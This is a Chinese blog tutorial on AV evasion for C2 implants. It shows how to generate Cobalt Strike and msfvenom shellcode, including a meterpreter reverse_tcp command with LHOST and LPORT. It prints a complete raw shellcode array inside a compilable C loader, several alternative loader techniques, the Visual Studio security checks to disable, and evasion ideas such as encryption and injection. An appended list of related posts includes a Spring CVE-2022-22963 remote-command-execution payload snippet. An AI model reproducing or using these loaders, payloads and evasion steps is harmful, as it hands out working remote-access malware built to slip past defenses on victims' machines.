C2免杀--手工shellcode编译,shellcode免杀思路

news/2024/9/18 14:51:21/ 标签: 安全

前言

欢迎来到我的博客

个人主页:北岭敲键盘的荒漠猫-CSDN博客

 本文主要整理C2免杀中

shellcode代码免杀的相关部分

shellcode概念

我们也不啰嗦,我直接直观的描述一下他。

他就是一串机器能运行的代码,但是他不是正统的python,c,c++的代码。

这串代码就有木马功能,我们需要写一个加载器去运行这串代码就能实现木马上线。

因此,shellcode也是能够嵌入到正规的程序中做伪装的。

CS手工编译过程

本处使用cs2工具的shellcode代码。

常规使用操作

启动cs2

常规操作创建监听器

 然后直接生成exe文件

直接生成exe。

生成shellcode

我们用这个生成

他会有很多种代码格式可以选择。

生成python的

看,他全存在变量里了。

生成c语言的模版,记得把x64给去掉,只能用32位汇编,不然出错(在这个坑中栽了很久)

因为c语言偏底层,所以c语言免杀的玩法相对较多。

生成代码后我们vs中创建一个项目,把生成的代码复制进来。

之后包含正常的编写文件,再写一个加载器来调用这个汇编语言就可以了。

然后编译之前需要设置一下属性,让他不做安全检查

多线程也改一下

代码常规性检查也给关掉

然后就是汇编语言只能32位的问题,当然不是说只能32,是vs中64位__asm不能内联汇编

改成32位

 配置完毕就可以直接生成了。

这里注意下,加载器有以下几种。

    //方式一:指针执行/* ((void(*)(void)) & buf)();*/​//方式二:强制类型转换//((void(WINAPI*)(void))&buf)();​//方式三:申请动态内存加载/*char* Memory;Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(Memory, buf, sizeof(buf));((void(*)())Memory)();*/​//方式四:嵌入汇编加载//__asm {//lea eax,buf//call eax//}​//方式五:汇编花指令//__asm{//mov eax, offset shellcode//_emit 0xFF//_emit 0xE0//}

__asm在生成x86有效,x64会报错,22版vs不支持asm内联汇编了。

生成的木马放到虚拟机中测试

上线不了!凸(艹皿艹 )

如果大家遇到这种情况就别用指针和asm内联了。

我们多换几个加载器就可以了

void main() {HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(buf), 0);char* buffer = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(buf));memcpy(buffer, buf, sizeof(buf));((void(*)(void)) buffer)();
}

这个加载器可以上线

编译完成后放到虚拟机中

成功上线。

MSF手工编译过程

生成shellcode

输入指令:(用的viper这类图形化的用别的方法)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.128.135 LPORT=6001 -f c

ip和端口自己改一下

手工编译

把代码复制到vs中

然后跟上面一样写个加载器编译就行了。

#include <string.h>
#include <stdio.h>
#include <Windows.h>unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x31\xff\x0f\xb7"
"\x4a\x26\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20"
"\x01\xd3\x8b\x48\x18\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
"\xff\x01\xd6\x31\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x80\x87\x68\x02\x00"
"\x17\x71\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";// 主函数
void main() {HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(buf), 0);char* buffer = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(buf));memcpy(buffer, buf, sizeof(buf));((void(*)(void)) buffer)();
}

创建监听后上线。

(但可能是windows对这种shellcode的安全策略,导致很多未经加密的加载器都很难上线)

CS的通过换加载器能够实现上线,但是msf的我没有上线成功。

需要进行后续的代码混淆。

shellcode免杀思路

这篇仅整理思路,具体的后面篇章整理

1.自写shellcode

2.加密混淆

3.分离隐藏

4.注入回调

加载器免杀思路

想尽一切办法

开辟一块内存空间用于执行shellcode


http://www.ppmy.cn/news/1524578.html

相关文章

vulhub spring 远程命令执行漏洞(CVE-2022-22963)

1.打开环境 进入环境所在的文件夹 docker-compose up -d 一键启动容器 2.浏览器访问环境 3.抓包 http://192.168.10.233:8080/functionRouter进行抓包 抓包修改请求方式 4.修改请求体内容 spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().e…

C++内存布局

文章目录 C内存布局1.文字介绍2.图片介绍3.代码介绍 C内存布局 1.文字介绍 1.内核态空间 2.用户态空间 (1)栈区&#xff1a;存储局部变量和函数调用的相关信息&#xff0c;栈的特点是自动分配和释放&#xff0c;由操作系统管理。栈由高地址向低地址生长&#xff0c;通常为0x…

HTTP 协议的工作过程

当我们在浏览器输入一个网址&#xff0c;此时浏览器就会给对应的服务器发送一个 HTTP 请求&#xff0c;对应的服务器收到这个请求之后&#xff0c;经过计算处理&#xff0c;就会返回一个 HTTP 响应。并且当我们访问一个网站时&#xff0c;可能涉及不止一次的 HTTP 请求和响应的…

C#索引器(Indexer)

索引器(Indexer)允许一个对象可以像数组一样使用下标的方式来访问. 当为类定义一个索引器时,该类的行为就会像一个虚拟数组(virtual array) 一样.可以使用数组访问运算符[]来访问该类的成员. 语法 一维索引器的语法如下: element-type this[int index] { // get 访问器 …

python 实现gamma 伽玛功能算法

gamma 伽玛功能算法介绍 Gamma&#xff08;伽玛&#xff09;功能算法通常与不同的领域和应用相关&#xff0c;包括但不限于图像处理、光学测试、数学计算等。以下是根据您提供的搜索结果&#xff0c;对Gamma伽玛功能算法的一些概述&#xff1a; 在图像处理中的Gamma校正 在图…

简单计算机项目2

if 条件判断 /* * if 如果 */ //条件判断是流程控制中的一部分 //条件判断是为了在指定条件下做指定的事情 int num 1 0; // if (判断条件&#xff09; //{ //满足条件做的事 …

2024.9.12 Python 累加数,子串操作,分割回文串,长度最小的子数组,整数拆分

1.分割回文串 给你一个字符串 s&#xff0c;请你将 s 分割成一些子串&#xff0c;使每个子串都是回文串返回 s 所有可能的分割方案。 示例 1&#xff1a; 输入&#xff1a;s “aab” 输出&#xff1a;[[“a”,“a”,“b”],[“aa”,“b”]] 示例 2&#xff1a; 输入&#xff…

《OpenCV计算机视觉》—— 图像形态学(腐蚀、膨胀等)

文章目录 一、图像形态学基本概念二、基本运算1.简单介绍2.代码实现 三、高级运算1.简单介绍2.代码实现 一、图像形态学基本概念 图像形态学是图像处理科学的一个独立分支&#xff0c;它基于集合论和数学形态学的理论&#xff0c;专门用于分析和处理图像中的形状和结构。图像形…

景联文科技:专业扫地机器人数据采集标注服务

景联文科技作为一家专业AI数据采集标注公司&#xff0c;提供高质量数据支持&#xff0c;致力于帮助扫地机器人制造商和研发机构提升产品的智能水平和用户体验。 扫地机器人需要通过大量的环境数据来训练其导航和清洁算法。高质量标注数据是确保机器人在各种环境下高效工作的关键…

即插即用篇 | YOLOv8 引入维度互补注意力混合Transformer模块 | 轻量级互补注意力网络:RAMiT引领图像修复新突破

本改进已同步到YOLO-Magic框架! 摘要:虽然许多近期的研究在图像修复(IR)领域取得了进展,但它们通常存在参数数量过多的问题。另一个问题是,大多数基于Transformer的图像修复方法只关注局部或全局特征,导致感受野有限或参数不足的问题。为了解决这些问题,我们提出了一种…

C++:类与对象——详解继承、多继承、虚继承

1. 继承 优点&#xff1a;减少重复的代码 语法&#xff1a;class 子类 : 继承方式 父类 子类也称为派生类&#xff0c;父类也称为基类 2. 继承方式 公共继承&#xff1a;public保护继承&#xff1a;protected私有继承&#xff1a;private 注意&#xff1a; public继承方…

C++设计模式——Memento备忘录模式

一&#xff0c;备忘录模式的定义 备忘录模式是一种行为型设计模式&#xff0c;它允许将对象的状态保存在外部&#xff0c;并在需要时恢复。 备忘录模式允许在不破坏封装性的前提下&#xff0c;捕获并存储一个对象的内部状态&#xff0c;并在需要时将其恢复到之前的状态。 在…

java设计模式day03--(结构型模式:代理模式、适配器模式、装饰者模式、桥接模式、外观模式、组合模式、享元模式)

5&#xff0c;结构型模式 结构型模式描述如何将类或对象按某种布局组成更大的结构。它分为类结构型模式和对象结构型模式&#xff0c;前者采用继承机制来组织接口和类&#xff0c;后者釆用组合或聚合来组合对象。 由于组合关系或聚合关系比继承关系耦合度低&#xff0c;满足“…

maya无法导出fbx

很多小伙伴使用Maya软件导出fbx格式文件时会提示“无法识别文件类型”&#xff0c;这主要是因为没有开启fbx插件造成的&#xff0c;只要开启fbx插件就能解决这个问题。 在Maya软件的“Modeling”模式下&#xff0c;点击菜单栏的“Windows”&#xff0c;在弹出的下拉框中选择“S…

[网络原理]关于网络的基本概念 及 协议

文章目录 一. 关于网络的概念介绍1. 局域⽹LAN2. ⼴域⽹WAN3. 主机4. 路由器5. 交换机IP地址端口号 二. 协议协议分层TCP/IP五层模型(或四层)OSI七层模型封装分用 一. 关于网络的概念介绍 1. 局域⽹LAN 局域⽹&#xff0c;即 Local Area Network&#xff0c;简称LAN。 Local …

看过来!2024 云栖大会操作系统技术 Workshop 怎么玩?

2024 年 9 月 19-21 日&#xff0c;2024 云栖大会操作系统开源专场将于杭州云栖小镇盛大召开&#xff0c;特邀阿里云、安谋科技、浪潮信息、英特尔、蚂蚁集团等多家单位的企业高层和技术大咖莅临。以龙蜥操作系统技术生态为牵引&#xff0c;阿里云打造了 AIibaba CIoud Linux 产…

ffmpeg的安装和使用教程

在Linux上安装和使用FFmpeg可以方便地完成音视频的编码、解码、转码等操作。以下是详细的安装和使用教程。 安装FFmpeg FFmpeg的安装方法会因为不同的Linux发行版有所不同。下面是几种常见的安装方法&#xff1a; Ubuntu/Debian 打开终端&#xff0c;更新包列表并安装FFmpe…

如何让Google收录我的网站?

其实仅仅只是收录&#xff0c;只要在GSC提交网址&#xff0c;等个两三天&#xff0c;一般就能收录&#xff0c;但收录是否会掉&#xff0c;这篇内容收录了是否有展现&#xff0c;排名&#xff0c;就是另外一个课题了&#xff0c;如果不收录&#xff0c;除了说明你的网站有问题&…

【2023年】云计算金砖牛刀小试5

A模块:OpenStack平台部署与运维(样题) 业务场景: 某企业拟使用OpenStack搭建一个企业云平台,用于部署各类企业应用对外对内服务。云平台可实现IT资源池化,弹性分配,集中管理,性能优化以及统一安全认证等。 企业云平台的搭建使用竞赛平台提供的两台云服务器,配置如下…

Vue的slot插槽(默认插槽、具名插槽、作用域插槽)

目录 1. slot插槽1.1 默认插槽1.2 具名插槽1.3 作用域插槽 1. slot插槽 作用&#xff1a;让父组件可以向子组件指定位置插入html结构&#xff0c;也是一种组件间通信的方式&#xff0c;适用于父组件向子组件传递数据 1.1 默认插槽 Category.vue&#xff1a; 定义一个插槽。…